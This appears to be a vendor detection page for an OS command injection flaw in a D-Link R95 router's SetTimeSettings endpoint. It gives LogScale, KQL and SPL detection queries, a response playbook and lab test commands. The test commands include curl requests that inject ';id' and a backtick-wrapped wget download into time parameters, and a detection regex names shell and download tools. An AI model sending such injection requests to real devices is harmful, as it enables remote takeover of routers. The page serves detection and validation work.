Detect D-Link R95 DHMAPI SetTimeSettings OS Command Injection (CVE-2026-138227) in CrowdStrike LogScale
Detects exploitation attempts against CVE-2026-138227, a critical (CVSS 9.3) OS command injection vulnerability (CWE-77, CWE-78) in the SetTimeSettings function of the /bin/ssi binary within the DHMAPI component of the D-Link R95 router running firmware 1.04B04Beta. An attacker injects shell metacharacters into the TZLocation argument handled by the DHMAPI SSI endpoint, resulting in remote OS command execution. A public exploit is available. Because the vulnerable code path is reachable via the device HTTP/SSI management interface, detection focuses on HTTP requests to DHMAPI/SetTimeSettings handlers containing shell metacharacters (;, |, &, `, $(), newlines) in time-related parameters, and on anomalous child-process execution originating from the ssi/httpd process where syslog forwarding is available.
MITRE ATT&CK
- Tactic
- Initial Access Execution
LogScale Detection Query
// df00tech DF00-a6f1c03af9 · https://df00tech.com/detections/CVE-2026-138227 · licence: https://df00tech.com/detections/licence
#event_simpleName=/NetworkConnect|HttpRequest/
| (HttpUrl=/SetTimeSettings/i or HttpUrl=/DHMAPI/i)
| HttpUrl=/[;|&`]|\$\(|%0[aAdD]|wget |curl |busybox|tftp|\/bin\/sh/i
| groupBy([aid, RemoteAddressIP4, HttpUrl], function=count())
| sort(_count, order=desc) CrowdStrike LogScale/CQL query flagging HTTP requests to the DHMAPI SetTimeSettings endpoint carrying injection metacharacters where device HTTP telemetry is ingested.
Data Sources
Required Tables
False Positives & Tuning
- Vulnerability scanning
- Benign time configuration
- Administrative testing
Other platforms for CVE-2026-138227
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated DHMAPI SetTimeSettings command injection via metacharacter payload
Expected signal: Proxy/firewall/router HTTP log entry showing a request to SetTimeSettings containing a semicolon and 'id' command.
- Test 2 Simulated download-and-execute injection via DHMAPI
Expected signal: HTTP log entry containing SetTimeSettings and 'wget' in the query string.
- Test 3 Benign time configuration control request
Expected signal: HTTP log entry to SetTimeSettings with clean parameters.
Response Playbook
Triage
- Confirm the destination IP is a D-Link R95 router running firmware 1.04B04Beta exposed to the request source; check whether its management/SSI interface is reachable from untrusted networks.
- Decode and inspect the captured SetTimeSettings/DHMAPI request payload to identify the injected shell metacharacters and the exact command sequence attempted (e.g. wget/tftp download, reverse shell, busybox).
- Determine whether the request succeeded (HTTP 200 / altered device behavior) versus was blocked, and whether the source IP issued prior reconnaissance against the same endpoint.
- Correlate the source IP against threat intelligence and check for the same injection pattern hitting other D-Link devices in the environment.
Containment
- Block the attacker source IP at the perimeter firewall and remove any public exposure of the R95 management/SSI interface (restrict to management VLAN/VPN).
- If compromise is confirmed, isolate the affected router from the network and plan an out-of-band firmware update or replacement, since 1.04B04Beta is vulnerable.
- Rotate any credentials, Wi-Fi PSKs, and management secrets stored on or reachable through the compromised device.
Evidence Collection
- Capture full HTTP request/response pairs (proxy, firewall, and device syslog) for the SetTimeSettings/DHMAPI requests including source IP, timestamps and payloads.
- Where possible, acquire the router configuration, running process list, and any dropped files (downloaded via wget/tftp) from the device for forensic analysis.
- Preserve NetFlow/connection logs showing any outbound connections initiated by the router immediately after the injection attempt.
Escalation Criteria
- !Escalate to incident response if the injected command executed successfully (evidence of outbound download, new processes, or config change on the device).
- !Escalate if multiple D-Link R95 devices are targeted or if the source IP pivots to internal hosts after device compromise.
- !Escalate to vendor/management if the device cannot be patched and must remain in production, requiring compensating controls.
Investigation Guide
Forensic Artifacts
- >
Router syslog entries for the ssi/httpd process around the request time - >
Dropped payload files in device-writable directories (e.g. /tmp, /var) - >
Outbound connection records (NetFlow) from the router following the request - >
Proxy/firewall HTTP logs capturing the SetTimeSettings request payload
Tuning Guidance
Baseline legitimate administrative access to the R95 management interface and allowlist known admin source IPs/management hosts to reduce noise. Tighten the metacharacter regex if benign time values in your environment legitimately contain characters such as '&'. Prioritize alerts where the payload includes download-and-execute tooling (wget/curl/tftp/busybox) or where the request originates from outside the management network. A public exploit exists, so treat matches as high priority and correlate with device-side telemetry to confirm compromise.
Hunting Queries
Identifies sources making repeated requests to the DHMAPI SetTimeSettings endpoint, indicating probing or brute-force injection attempts.
// df00tech DF00-a6f1c03af9 · https://df00tech.com/detections/CVE-2026-138227 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has_any ("SetTimeSettings","DHMAPI") | summarize count(), make_set(RequestURL) by SourceIP, DestinationIP | where count_ > 5 ``` df00tech DF00-a6f1c03af9 · https://df00tech.com/detections/CVE-2026-138227 · licence: https://df00tech.com/detections/licence ```
index=proxy OR index=firewall (uri_path="*SetTimeSettings*" OR uri_path="*DHMAPI*") | stats count values(uri_path) by src_ip dest_ip | where count > 5 Atomic Red Team Tests
Sends an HTTP request to a lab D-Link R95 (or mock) DHMAPI SetTimeSettings endpoint with a semicolon-injected command to validate detection of shell metacharacters.
Command
curl -s -X POST 'http://192.168.0.1/SetTimeSettings?NTPServer=pool.ntp.org%3B%20id' -d 'time=2026-01-01;id' -H 'Content-Type: application/x-www-form-urlencoded' Cleanup
echo 'No cleanup required; lab request only. Reset device time config via UI if changed.' Expected Telemetry
Proxy/firewall/router HTTP log entry showing a request to SetTimeSettings containing a semicolon and 'id' command.
Expected Detection
KQL/SPL rules match on SetTimeSettings URL plus metacharacter regex.
Sends a crafted request attempting to inject a wget download command into a time parameter to validate detection of download tooling.
Command
curl -s 'http://192.168.0.1/cgi-bin/ssi?action=SetTimeSettings&tz=UTC%60wget%20http%3A%2F%2F127.0.0.1%2Fx%60' Cleanup
rm -f ./x 2>/dev/null; echo 'cleanup complete' Expected Telemetry
HTTP log entry containing SetTimeSettings and 'wget' in the query string.
Expected Detection
Detection fires on DHMAPI/SetTimeSettings endpoint with wget indicator.
Sends a legitimate SetTimeSettings request without metacharacters to confirm the detection does not alert on normal configuration (true-negative control).
Command
curl -s -X POST 'http://192.168.0.1/SetTimeSettings' -d 'NTPServer=pool.ntp.org&timezone=UTC' Cleanup
echo 'No cleanup required.' Expected Telemetry
HTTP log entry to SetTimeSettings with clean parameters.
Expected Detection
No alert expected; validates false-positive tuning.